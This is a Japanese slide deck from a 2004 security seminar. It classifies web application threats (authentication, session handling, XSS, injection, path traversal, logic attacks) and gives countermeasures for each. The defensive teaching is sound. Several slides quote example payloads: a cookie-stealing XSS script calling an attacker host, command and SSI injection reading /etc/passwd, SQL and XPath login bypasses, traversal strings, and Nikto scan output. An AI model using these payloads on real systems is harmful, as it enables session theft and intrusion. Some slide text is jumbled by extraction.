JPNIC・JPCERT/CCセキュリティセミナー2004

Webの脆弱性

2004年10月4日

中央大学 研究開発機構 専任研究員
塩月誠人<shio@st.rim.or.jp>

はじめに本セッションは、Webシステムにまつわる脆弱性とはどういったものなのか、どういう危険性があるのか、またどのような対策が必要とされるのかについて、WebサービスおよびWebアプリケーションレイヤにターゲットを絞り、網羅的に解説するものである。
p そもそも脆弱性を考える上で重要なのは、脆弱性の要因となる「脅威」（あるいは「攻撃手法」）を理解することである。そのため、ここではWASC（Web Application Security Consortium）が今年の7月に発行した「Web Security Threat Classification」という技術文書をベースに、認証、承認、クライアントサイド・アタック、コマンド実行、情報取得、ロジカル・アタックという大分類に沿ってWebシステムに関する一般的脅威を体系的に述べ、同時にそれぞれの脅威がどのような場合に脆弱性へとつながるかを説明する。
p 今回は時間の関係で、各々のトピックについて深くは掘り下げず、極力全体を網羅する方向でまとめているため、詳細については参考URLの各文献を参照していただきたい。
p2

「脆弱である」とは...?
p ドアに鍵がかかっていない家は、はたして脆弱か?

→ It depends!
Ø 「脅威（ドロボー）」が存在しなければ脆弱でない

p ピッキング対策を施した鍵は、はたして脆弱か?

→ It depends!
「ピッキング」という脅威に対しては脆弱でない
Ø しかし、他の脅威に対しては?
Ø 「カム送り」は?
Ø 「サムターン回し」は?
Ø

p 「脆弱であるかどうか」を知るためには「脅威（攻撃者、攻撃の手口）」を知ることが重要
3

脅威、脆弱性、リスク、対策
p 脆弱な鍵は即座に取り替えるべきか?

→ It depends!
Ø 脅威の実現可能性（解錠の難易度）
Ø 脅威の流行状況（手口の普及度、同様手口の犯行傾向）
Ø 脅威による被害の大きさ（物理的損失、精神的ダメージ）Ø 他の対策状況（
二重ロック、監視カメラ、警報装置、「猛犬注意」のシール、...）
p リスク（どれだけ「ヤバイ」か）を検討して対策を判断Ø 脅威（攻撃者、攻撃の手口）を知る
Ø 世の中の状況を知る
Ø 自己の状況を知る
Ø 鍵を交換する事が必ずしも最適な解決策とは限らない

4

Webシステムのレイヤ構造と脅威運用・管理・利用（人間系）
Webアプリケーション
Webサービスソーシャルエンジニアリング攻撃、フィッシング、強要・脅迫、トロイの木馬、...
認証の回避、セッション・ハイジャック、Crosssite Scripting、SQLインジェクション、バッファオーバーフロー、情報取得、...

OS

SYN Flood、IPフラグメント、ARP攻撃、TCP
Reset攻撃、他のサービスへの攻撃、...

ネットワークシステム

パケットフィルタリング回避、ネットワーク機器に対する攻撃、ネットワーク帯域の消費、...

ファシリティ

施設への侵入、コンソールアクセス、機器構成の変更、物理的盗難、物理的破壊、...

5

Webにおける脅威の分類
p認証ØØ
Ø

p

Ø

p

Ø

セッションIDの推測ØØ

アクセス制御の不備
セッション終了処理の不備
セッション・フィクセイションØØp

クライアントサイド・アタックØØØØØコマンド実行ØØØØ

バッファオーバーフロー
フォーマットストリング・アタック
LDAPインジェクション
OSコマンド実行

p

ディレクトリ内容表示
情報漏洩
パス・トラバーサル
リソース位置の推測

ロジカル・アタックØ

コンテンツ・スプーフィング
クロスサイト・スクリプティング

SQLインジェクション
SSIインジェクション
XPathインジェクション

情報取得

ØØp

Ø

承認

Ø

p

ブルートフォース
認証設定の不備
パスワードリカバリの不備

Ø

機能の悪用
サービス妨害自動アクセス防止の不備
プロセスフロー管理の不備

その他ØØ

HTTPレスポンス・スプリッティング
Webフィンガープリンティング（「WASC Web Security Threat Classification」より）
6

認証（Authentication）
p 認証 ... ユーザがそのユーザであることを確認する行為
p ユーザ認証の機能を回避することにより...
Ø 認証機能を回避して不正にサービスを利用Ø 正規ユーザになりすましてサービスを利用

p 「認証」に関する脅威
Ø ブルートフォース（Brute Force）
Ø 認証設定の不備（Insufficient Authentication）
Ø パスワードリカバリの不備（Weak Password Recovery Validation）

7

認証（Authentication）

ブルートフォース
p ユーザIDやパスワードを推測し、認証を通過するまで試行
Ø 固定パスワードを用いたWebシステムで、パスワードが容易に推測される場合に発生
Ø あるユーザIDに対し、複数のパスワードを試すØ あるパスワードを用い、複数のユーザIDを試す
Ø 辞書の単語、辞書の単語＋数字、英数字記号の組み合わせØ いわゆる「オンライン・パスワードクラック」
p 対策：Ø 安易なパスワードの設定を拒否する
Ø 連続した認証要求を拒否する（ディレイを入れる）
Ø アカウントのロックアウト（正規ユーザが使えなくなる恐れあり）
8

認証（Authentication）

認証設定の不備p 認証を通過しなくてもアクセスできるページや機能を探すØ 認証の設定忘れ、漏れ、あるいは意図的に認証を設定していない（
特定の人のみにURL通知等）場合に発生
Ø 秘密のURL、隠しURL、テスト用、サンプル、...
Ø Webベースの管理機能（/admin/等）
Ø Security Through Obscurity ... 「不知」によるセキュリティ
p 対策：
Ø 必要に応じてページや機能に認証を設定する
Ø 不要なテストコンテンツ、サンプルコンテンツ等を削除する

9

認証（Authentication）

パスワードリカバリの不備
p Webシステムが用意しているパスワードリカバリ機能を利用し、ユーザのパスワードを取得・変更するØ ユーザのためにパスワードリカバリ機能を提供しているようなWebシス

テムで発生
Ø パスワードリカバリにおける認証は、一般的にパスワードよりも推測しやすいØ 単純な情報の要求（電子メールアドレス、住所、電話番号、...）
Ø 秘密の質問（母親の旧姓、高校の名前、...）
Ø ユーザが設定するヒント
p 対策：
Ø 単純な情報による認証は避けるØ 連続した認証要求を拒否する（ディレイを入れる）
Ø パスワードをWebページに表示せず、電子メール等でユーザに通知する10

承認（Authorization）
p 承認 ... ユーザに適切なアクセス許可を与える行為
p アクセス制御機能を回避することにより...
Ø 本来アクセスできないページや機能にアクセス
Ø 他のユーザの権限でコンテンツにアクセス

p 「承認」に関する脅威Ø セッションIDの推測（
Credential/Session Prediction）
Ø アクセス制御の不備（Insufficient Authorization）
Ø セッション終了処理の不備（
Insufficient Session Expiration）
Ø セッション・フィクセイション（Session Fixation）

11

補足：Webのセッション管理とは
ユーザ① リクエスト（ログオン要求）

サーバ② 返答（ログオン許可）③ リクエスト（ページアクセス）④ 返答（コンテンツ）

セッション管理の導入

ユーザ
セッションID① リクエスト（ログオン要求）② 返答（ログオン許可） セッションID

一連のアクセスであっても、HTTPプロトコル的には別々（TCPセッションも基本的に別）サーバ
セッションID③ リクエスト（ページアクセス）
セッションID④ 返答（コンテンツ）

セッション管理の導入により、一連のアクセスを識別
12

承認（Authorization）

セッションIDの推測
p 他のユーザのセッション管理情報（セッションID）を推測する
Ø 他ユーザのセッションIDが容易に推測できるような場合に発生
Ø そのユーザの権限でコンテンツや機能に不正にアクセスØ セッションID生成のアルゴリズムの不備 → 他のセッションIDを推測
p 連番によるセッションID
p 桁数の少ないセッションID
p ユーザ情報を単純にハッシュしたセッショ
ンID

p 対策：
Ø 十分に複雑なセッションIDを用いる
Ø 十分に長いセッションIDを用いる
Ø セッションの有効期間を適切に設定する

13

補足：セッションIDの推測
攻撃者
SID:1234
SID:1235

サーバ① リクエスト（ログオン要求）② 返答（ログオン許可）SID:1234⑥ リクエスト（ページアクセス）⑦ 返答（コンテンツ）

SID:1235

SID:1234
SID:1235⑤ 次のセッション
IDを推測

ユーザ
SID:1235

求）
要オン
235
グ
1ロ:
（SIDスト）エ可クン許③リオ（ログ答④返14

承認（Authorization）

アクセス制御の不備
p 本来アクセスが許可されていないリソースにアクセスを試みる
Ø アクセス制御の設定忘れ、漏れ、あるいは意図的に設定していない（
特定の人のみにURL通知等）場合に発生
Ø 管理者のみがアクセス可能なページ、機能Ø 他のユーザからはアクセスできないページ、機能Ø 秘密のURL、隠しURL、テスト用、サンプル、...
Ø Security Through Obscurity ... 「不知」によるセキュリティ
p 対策：
Ø 必要に応じてページや機能にアクセス制御を設定する
Ø 不要なテストコンテンツ、サンプルコンテンツを削除する

15

承認（Authorization）

セッション終了処理の不備
p 他ユーザのセッションIDを入手してWebサイトにアクセスØ セッションのログアウト処理が適切に行われない、あるいはセッションのタイムアウト処理が適切に行われない場合に発生
Ø そのユーザの権限でコンテンツや機能に不正にアクセスØ セッションIDの盗用 ... スニッフィング、XSS、ブラウザのback操作等
p 対策：
Ø ユーザのログアウトによるセッション終了処理を実施する
Ø セッションの有効期間を適切に設定する
Ø 通信経路を暗号化する（SSL等）

16

承認（Authorization）

セッション・フィクセイション
p ユーザのセッションIDを既知のもので「fix」させる攻撃
Ø Webシステムがユーザ指定のセッションIDを受け入れる場合、あるいはユーザ認証前にセッションIDを発行する場合に発生
Ø ユーザのブラウザに既知のセッションIDを送り込む（HTMLメール等）
p URLのクエリストリングに設定
p XSS（Cross-site Scripting）によりCookieに設定

Ø ユーザがWebサイトにアクセスする際、そのセッションIDが使用される
Ø ユーザ認証後、攻撃者はそのセッションIDでWebサイトへアクセス

p 対策：
Ø Webシステム自身が発行するセッションID以外は受け入れないØ ユーザ認証後にセッションIDを発行する
Ø セッションIDとブラウザのIPアドレス等を関連付けて管理する
17

補足：セッション・フィクセイション攻撃
サーバ

攻撃者① ログオン要求
SID:1234② セッションID発行

SID:1234⑦ SID：1234でサーバにアクセス
SID:1234③ セッションID：1234でサーバにログオンするようなリンクを送り、ログオンを仕向ける（HTMLメール等）

SID:1234

4
123:
DSI

④ SID：1234でサーバにログオン要求⑤ ユーザIDとパスワードを送信

SID:1234⑥ SID：1234でセッションが確立

ユーザ
18

クライアントサイド・アタック（Client-side Attacks）
p Webサイトにアクセスするユーザ側を攻撃対象
p ユーザのWebサイトに対する「信頼」を利用
Ø ユーザ（あるいはブラウザ）はそのサイトが信頼できると期待Ø 心理的信頼Ø 技術的信頼p 「クライアントサイド・アタック」に関する脅威Ø コンテンツ・スプーフィング（Content Spoofing）
Ø クロスサイト・スクリプティング（Cross-site Scripting）

19クライアントサイド・アタック（Client-side Attacks）

コンテンツ・スプーフィング
p 正規のWebサイトのコンテンツであるように見せかける攻撃
Ø URL内にフレームソースのURLが記述している場合などに発生
p http://foo.example/page?frame̲src=http://foo.example/file.html↓
p http://foo.example/page?frame̲src=http://attacker.example/spoof.html
Ø このURLにアクセスしたユーザは、正規のWebサイトのコンテンツだと思い込む（心理的信頼）Ø ユーザ情報の取得（フィッシング詐欺）、偽のプレスリリース、...
p 対策：
Ø フレーム内表示コンテンツのURLを、クエリストリング等ブラウザ側で変更できる位置に入れない
Ø 不正なフレームソースURLを受け付けない20

クライアントサイド・アタック（Client-side Attacks）

クロスサイト・スクリプティング（XSS）
p 攻撃者が記述したスクリプトをWebサイトからエコーバックさせ、ユーザのブラウザ上で実行させる攻撃
Ø ブラウザからの入力をそのままエコーバックするような場合に発生
Ø JavaScript/VBscript等、ブラウザがサポートするスクリプトの実行
Ø ブラウザとWebサイトの技術的信頼関係を利用
p そのWebサイトにおいて実行可能なスクリプトが実行（IEのセキュリティゾーン）
p そのWebサイトとの間で交信されるCookieを取得 → セッショ
ンIDの盗用につながる
p 対策：
Ø 入力データとして不適切な文字種を受け付けないØ 入力データのエコーバックの際には特殊文字を無害化（サニタイズ）
Ø Webサービスのバグの場合は、パッチを適用
21

補足：クロスサイト・スクリプティング
http://server/cgi?name=Joe

攻撃者

Cookie...

① 攻撃者のサイト
へアクセス

http://server/cgi?name=<script>document.lo
cation='http://attacker/getcookie?'+document.cookie</script>...

「Hello Joe!」とエコーバック⑤ スクリプトが実行、サーバとの間のCookieが攻撃者のサイトへ送られる

Cookieサーバ

Cookie③ サーバへ（自動的に）アクセス<script>document.
location='http://att
acker/getcookie?'+document.cookie</script>④ スクリプトがエコーバック② サーバへアクセスするようなコンテンツを返す
ユーザ
22

コマンド実行（Command Execution）
p 開発者が意図しない処理を、リモートからWebサイト上で実行させるような攻撃
p 不正なコマンド実行により...
Ø 処理の異常終了、機密データの取得、変更
Ø ユーザ認証の回避、不正なプログラムコードの実行、...

p 「コマンド実行」に関する脅威
Ø バッファオーバーフロー（Buffer Overflow）
Ø フォーマットストリング・アタック（Format String Attack）
Ø LDAPインジェクション（LDAP Injection）
Ø OSコマンド実行（OS Commanding）
Ø SQLインジェクション（SQL Injection）
Ø SSIインジェクション（SSI Injection）
Ø XPathインジェクション（XPath Injection）
23

コマンド実行（Command Execution）

バッファオーバーフロー
p プログラムが確保したメモリ領域を、ユーザ入力によりオーバーフローさせる攻撃
Ø バッファへのデータコピーの際の、長さチェックに不備がある場合に発生
Ø C/C++で書かれたCGIや、動的に呼び出されるCプログラム等
Ø スタック領域におけるバッファオーバーフローØ ヒープ領域におけるバッファオーバーフローØ 異常終了、パラメータ変更、プログラムコードの実行など
p 対策：
Ø バッファコピー時の長さチェック、長さの値の正負チェック
Ø 入力データとして不適切な文字種を受け付けない
Ø Webサービスのバグの場合は、パッチを適用
24

補足：スタック領域におけるBOF
0x00000000
スタック領域

0x58 0x58
0x10
0x11 0x58
0x12 0x58
0x13
0x14 0x58
0x58
0x15 0x58
0x16 0x58
0x17
0x00 0x58
0x58
0x01 0x58
0x02 0x58
0x03
直前のEBPレジスタ値
0x58
0x58 0x58 0x58

ESP

EBP0x58
Return0x58 address
0x58 0x58
0x01 0x00 0x00 0x00
0x02 0x00 0x00 0x00
0x03 0x00 0x00 0x00

copy

void sub(i, j, k)
int i, j, k;{unsigned char a[] = { 0x00, 0x01, 0x02, 0x03 };unsigned char b[] = { 0x10, 0x11, 0x12, 0x13,0x14, 0x15, 0x16, 0x17 };…………
strcpy(b, user‑input);}

XXXXXXXXXXXXXXXXXXXX

void main(){unsigned char A[] = { 0x41, 0x41, 0x41, 0x41 };sub(1, 2, 3);0x41 0x41 0x41 0x41
…………
}
EIP
0xffffffff

次に実行するプログラムコードのアドレス25

コマンド実行（Command Execution）

フォーマットストリング・アタックp フォーマットストリング ... printf()等における「書式指定文字列」のこと（%s, %d, %x, ...）
p ユーザ入力をフォーマットストリングとして処理させる攻撃

Ø プログラム上でフォーマットストリングを指定していない場合に発生
p 例）printf(buf); ← bufにユーザ入力が入るケース

Ø C/C++で書かれたCGIや、動的に呼び出されるCプログラム等
Ø %xを指定してスタックのデータを表示
Ø %nを指定してメモリ中の任意の4バイトを書き換え → 異常終了、不正コードの実行
p 対策：
Ø フォーマットストリングをプログラム上で指定する
Ø 入力データとして不適切な文字種を受け付けない
Ø Webサービスのバグの場合は、パッチを適用
26

補足：フォーマットストリング・アタック● フォーマットストリング・アタックによる、スタック上のデータの読み取り
printf("%x", 1);

printf(buf);
buf ← ユーザ入力「"%x"」↓↓

書式指定に従い、「1」を16進数で出力

スタック領域
書式指定のアドレス1......
......
"%x"......

書式指定に従い、スタックの次の位置を16進数で出力

スタック領域
printfの引数書式指定のアドレス......
......
......
......
"%x"......

printfの
引数

buf

27

補足：フォーマットストリング・アタック● フォーマットストリング・アタックによる、スタック上のデータの上書き
int i;

printf(buf);

printf("ABCD%n", &i);buf ← ユーザ入力「"0xbffff658%x%x%x%x...%n"」↓
書式指定に従い、「i」に出力文字数「4」が書かれる

スタック領域

書式指定に従い、アドレス0xbffff658の位置に出力文字数「N」が書かれる
スタック領域

書式指定のアドレス

printfの引数

iのアドレス......
"ABCD%n"......
出力文字数「4」↓i書式指定のアドレス......
......
0xbffff658%x%x%x%x.....%n......
出力文字数「N」

printfの引数

buf

0xbffff658
28

コマンド実行（Command Execution）

LDAPインジェクション
p 不正な入力により、不正なLDAPクエリーを発行させる攻撃
Ø ユーザの入力に基づき、LDAPサーバに対してクエリーを発行するようなWebシステムで発生
Ø 不正な情報取得
p http://foo.example/ldapsearch?user=*↓p (uid=*)でLDAP検索を実行
p 対策：
Ø 入力データとして不適切な文字種を受け付けないØ 必要に応じて文字のエスケープ処理を実施

29

コマンド実行（Command Execution）

OSコマンド実行
p 不正な入力により、任意のOSコマンドを実行させる攻撃
Ø ユーザ入力に基づいて、ファイルオープンやコマンド実行を行うようなWebシステムで発生
Ø Perl、C、PHP、...
p open(FILE,$fname); ← $fnameに"/bin/ls ￨"p system("ls ‑la $fname"); ← $fnameに"; cat /etc/passwd"
p ...
Ø ユーザ入力を格納するデータベースのデータ等、後でアプリケーションが参照する場合も危険
p 対策：
Ø 入力データとして不適切な文字種を受け付けないØ 必要に応じて文字のエスケープ処理を実施
30

コマンド実行（Command Execution）

SQLインジェクション
p 不正な入力により、不正なSQLクエリーを発行させる攻撃
Ø ユーザの入力に基づき、データベースサーバに対してクエリーを発行するようなWebシステムで発生
Ø ユーザ認証の回避
p "SELECT

Username FROM Users WHERE Username = '$uname' AND
Password = '$pass'"↓p "SELECT Username FROM Users WHERE Username = '' OR ''='' AND
Password = '' OR ''=''"
Ø 「Union」
句によるデータ取得、ストアドプロシジャを利用したコマンド実

行、...

p 対策：
Ø 入力データとして不適切な文字種を受け付けないØ 必要に応じて文字のエスケープ処理を実施
31

コマンド実行（Command Execution）

SSIインジェクション
p 不正なSSI記述のHTML文をWebサーバ上に送り込む攻撃Ø ユーザの入力に基づき、HTMLページを生成するようなWebシステム

で発生
p 掲示板サイト、ゲストブック、...

Ø 不正なSSI記述を受け付けた場合、そのページを表示する際にSSIが実行Ø OSコマンドの実行
p <!‑‑#exec

cmd="/bin/ls /" ‑‑>Ø ファイルの表示
p <!‑‑#include

file="/etc/passwd" ‑‑>p 対策：
Ø 入力データとして不適切な文字種を受け付けないØ 必要に応じて文字のエスケープ処理を実施
Ø 不要な場合はSSIの機能を停止

32

コマンド実行（Command Execution）

XPathインジェクション
p XPath ... XMLドキュメントを参照するための言語
p 不正な入力により、不正なXPathクエリーを発行させる攻撃
Ø ユーザの入力に基づき、XMLドキュメントに対してクエリーを発行する

ようなWebシステムで発生
Ø ユーザ認証の回避
p string(//user[name/text()='$uname'andpassword/text()='$pass']/account/text())↓p string(//user[name/text()='' or 1=1 or ''='' andpassword/text()='foobar']/account/text())
Ø 不正なドキュメント内容表示

p 対策：
Ø 入力データとして不適切な文字種を受け付けないØ 必要に応じて文字のエスケープ処理を実施
33

情報取得（Information Disclosure）
p Webサイトに関するさまざまな情報を取得する攻撃
p 情報取得により...
Ø ターゲットサーバのソフトウェアバージョン、パッチレベル、存在するファイル、エラーに関する情報等を入手
Ø より攻撃が行いやすくなる、より高度な攻撃に結びつく
p 「情報取得」に関する脅威Ø ディレクトリ内容表示（Directory Indexing）
Ø 情報漏洩（Information Leakage）
Ø パス・トラバーサル（Path Traversal）
Ø リソース位置の推測（Predictable Resource Location）
34

情報取得（Information Disclosure）

ディレクトリ内容表示
p ディレクトリ内のファイル一覧を取得する攻撃
Ø ディレクトリインデックス機能が有効になっている場合
p URLにディレクトリを指定してアクセス

Ø Webサービスにバグがある場合
p 例）
Apache 1.3; GET //////////..... HTTP/1.0

Ø Google等サーチエンジンのキャッシュを調査
p 過去にファイル一覧を表示させていたケース

Ø ファイル一覧を見ることで、データファイル、バックアップファイル、設定ファイル等、隠されたファイルの存在を知ることができる
p 対策：
Ø 不要なディレクトリインデックス機能を無効にする
Ø Webサービスのバグの場合は、パッチを適用
35

情報取得（Information Disclosure）

情報漏洩
p Webシステムに関連する各種情報を取得する攻撃
Ø HTMLファイル内のコメント、親切な（?）
エラーメッセージ、...
Ø 認証やアクセス制御の不備による各種情報漏洩
Ø 通信系路上での盗聴Ø Webサービスのバグによるファイル、スクリプト内容表示
Ø 物理パスの漏洩
Ø バージョン情報の漏洩
Ø プライベート
IPアドレスの漏洩p 対策：
Ø 不必要なコメントは避け、エラーメッセージは最低限とする
Ø 認証、アクセス制御を確実に行い、通信経路を暗号化する
Ø Webサービスのバグの場合は、パッチを適用
36

情報取得（Information Disclosure）

パス・トラバーサル
p Traversal ... 横断する、横切る
p 開発者の意図に反して、他のディレクトリパスやファイルにアクセスする攻撃Ø パラメータに絶対パスや相対パスで別ディレクトリファイルを指定
p http://example/foo.cgi?file=../../../etc/passwd

Ø Unicode形式、UTF-8形式、ダブルエンコード、NULL文字の追加（%00）等で防御を回避

p http://example/foo.cgi?file=..%255c..%255c..%255cetc/passwd

Ø 機密ファイルやスクリプトファイルの表示、OSコマンドの実行

p 対策：
Ø 入力データとして不適切な文字種を受け付けないØ 必要に応じて文字のエスケープ処理を実施
Ø Webサービスのバグの場合は、パッチを適用
37

情報取得（Information Disclosure）

リソース位置の推測p 公開していない隠れたファイルや機能に対し、リソース名を推測してアクセスする攻撃Ø 一時ファイル、バックアップファイル、設定ファイル、管理機能、サンプル、...
Ø バックアップファイル（.bak、.old、.org、.orig、...）
Ø コンフィグファイル（.conf、.cfg、.config、...）
Ø データファイル（.dat、.data、...）
Ø /admin/、/backup/、/logs/、...
p 対策：
Ø 必要に応じてページや機能に認証・アクセス制御を設定する
Ø 不要なテストコンテンツ、サンプルコンテンツ等を削除する

38

補足：NiktoによるWebスキャン● Nikto（http://www.cirt.net/code/nikto.shtml ）$ perl nikto.pl -nolookup -host 192.168.183.12--------------------------------------------------------------------------- Nikto 1.34/1.29
www.cirt.net+ Target IP:
192.168.183.12+ Target Hostname: 192.168.183.12+ Target Port:80+ Start Time:
Thu Sep 30 07:27:42 2004--------------------------------------------------------------------------......
+ Allowed HTTP Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH,
LOCK,UNLOCK+ /<script>alert('Vulnerable')</script>.shtml - Server is vulnerable to Cross Site
Scripting (XSS). CA-2000-02. (GET)......
+ /blahb.ida - Reveals physical path. ......
......
+ /xxxxx.htw - Server may be vulnerable to a Webhits.dll arbitrary file retrieval. ...
+ /scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir - IIS is vulnerable to adouble-decode bug, which allows ......
......
+ /_vti_bin/fpcount.exe - Frontpage counter CGI has been found. ......
......
......
+ 2648 items checked - 20 item(s) found on remote host(s)+ End Time:
Thu Sep 30 07:28:28 2004 (46 seconds)--------------------------------------------------------------------------+ 1 host(s) tested
39ロジカル・アタック（Logical Attacks）
p Webシステムのロジックをだます、あるいは悪用する攻撃p ロジカル・アタックにより...
Ø 開発者が期待する結果とは異なる方向へWebシステムの機能を導く
Ø 正常な処理を誤らせる、処理を異常終了させる
Ø 他者への攻撃の踏み台にする

p 「ロジカル・アタック」に関する脅威Ø 機能の悪用（Abuse of Functionality）
Ø サービス妨害（Denial of Service）
Ø 自動アクセス防止の不備（Insufficient Anti-automation）
Ø プロセスフロー管理の不備（
Insufficient Process Validation）
40

ロジカル・アタック（Logical Attacks）

機能の悪用
p Webシステムの機能を不正に使用する攻撃Ø Webページのサーチ機能 → Webディ
レクトリ以外を検索Ø ファイル表示機能 → スクリプト内容表示
Ø コメント投稿のメール送信機能 → スパム発信
Ø ファイルアップロード機能 → Webページや設定ファイルの書き換え
Ø hidden項目の価格データ → 価格を書き換えて送信Ø Webサービスのデフォルト機能
p Frontpage Server Extensions（IIS）
p WebDAV（IIS）

p 対策：
Ø そのパラメータが機能にとって適切かどうかをチェックするØ 不必要なパラメータをhidden項目等でブラウザに渡さないØ 不要なデフォルト機能は削除する
41

ロジカル・アタック（Logical Attacks）

サービス妨害p Webサイトに対する正常なアクセスができないような状態に陥らせる攻撃Ø リソースを大量に消費させる ... 膨大な量のデータベースアクセスØ 特定のユーザのログオン失敗を繰り返す ... アカウントロックアウト
Ø SQLインジェクションでデータテーブルを書き換える
Ø バッファオーバーフローでWebサーバを異常終了させる

p 対策：
Ø そのパラメータが機能にとって適切かどうかをチェックするØ Webサービスのバグの場合は、パッチを適用

42

ロジカル・アタック（Logical Attacks）

自動アクセス防止の不備
p Webサイトに対するアクセスを自動化して各種攻撃を実行
Ø アクセスの自動化により、さまざまな攻撃がより容易に行われる
Ø ユーザログオンのブルート
フォース
Ø 大量のスパム発信
Ø 掲示板への繰り返し投稿Ø 大量アクセスによるサービス妨害p 対策：
Ø 手動アクセスを想定している機能は、機械的なアクセスを阻止する
Ø ディレイの設定
Ø 一定時間内の処理数の限定

43

ロジカル・アタック（Logical Attacks）

プロセスフロー管理の不備
p 開発者の意図したロジック・フローを回避する攻撃
Ø ユーザ操作のステート（状態）管理が適切でない場合に発生
Ø ユーザのステート（どこまで処理したか）をブラウザ側で変更
p hidden項目、Cookie等

Ø 必要な処理をバイパスして不正に機能を実行
Ø 不正な送金、パスワード変更、商品購入、...

p 対策：
Ø ユーザ操作のステート情報をサーバ側で管理

44

その他
p HTTPレスポンス・スプリッティング（HTTP ResponseSplitting）

Ø サーバに不正なリクエストを送り、サーバのレスポンスを二つに分割させることで、プロキシやブラウザのキャッシュ上でコンテンツ・スプーフィングを実現する攻撃Ø ブラウザからの入力に基づいてリダイレクトのLocationヘッダを構築するようなWebシステムで発生
p Webフィンガープリンティング（Web Server/ApplicationFingerprinting）

Ø アプリケーションレイヤにおけるフィンガープリンティング攻撃
Ø レスポンスヘッダ、Cookie、エラーページ、ファイル拡張子等の情報に基づいて、WebサービスやWebアプリケーションを特定する

45

再び、「脆弱である」とは...?
p 「脆弱である」とは、脅威すなわち攻撃手法に対抗できない状態をあらわす
Ø ブルートフォース攻撃に対抗できるか?
Ø パスワードリカバリ攻撃に対抗できるか?
Ø セッションIDの推測に対抗できるか?
Ø セッション・フィクセイション攻撃に対抗できるか?
Ø クロスサイト・スクリプティング攻撃に対抗できるか?
Ø SQLインジェクションに対抗できるか?
Ø ......

p Webサービスの脆弱性 → 広く調査され、一般に公開
p Webアプリケーションの脆弱性 → （基本的に）誰も（タダでは）調べてくれないし、教えてもくれない46

まとめ
p 「脆弱であるかどうか」を知るためには「脅威」を知ることが重要
p Webにおけるさまざまな脅威
Ø 認証
Ø 承認
Ø クライアントサイド・アタックØ コマンド実行Ø 情報取得Ø ロジカル・アタック

p 適切なリスク判断なしに、適切な対策はできない
Ø その脅威がどれほど実現可能かØ どれほど流行しているか
Ø どの程度の影響があるかØ 他の対策状況はどうか、...
Ø 物事には優先順位がある!!
47

参考
p

WASC Web Security Threat Classification
http://www.webappsec.org/threat.html

p

OWASP Top Ten
http://www.owasp.org/documentation/topten.html

p

OWASP A Guide to Building Secure Web Applications
http://www.owasp.org/documentation/guide/guide_about.html

p@IT Webアプリケーションに潜むセキュリティホール
http://www.atmarkit.co.jp/fsecurity/rensai/webhole01/webhole01.htmｌ

p@IT クロスサイトスクリプティング対策の基本
http://www.atmarkit.co.jp/fsecurity/special/30xss/xss01.html

pHTTP Response Splitting
http://www.sanctuminc.com/pdf/whitepaper_httpresponse.pdf

pThe Google Hackers Guide
http://johnny.ihackstuff.com/security/premium/The_Google_Hackers_Guide_v1.0.pdf
48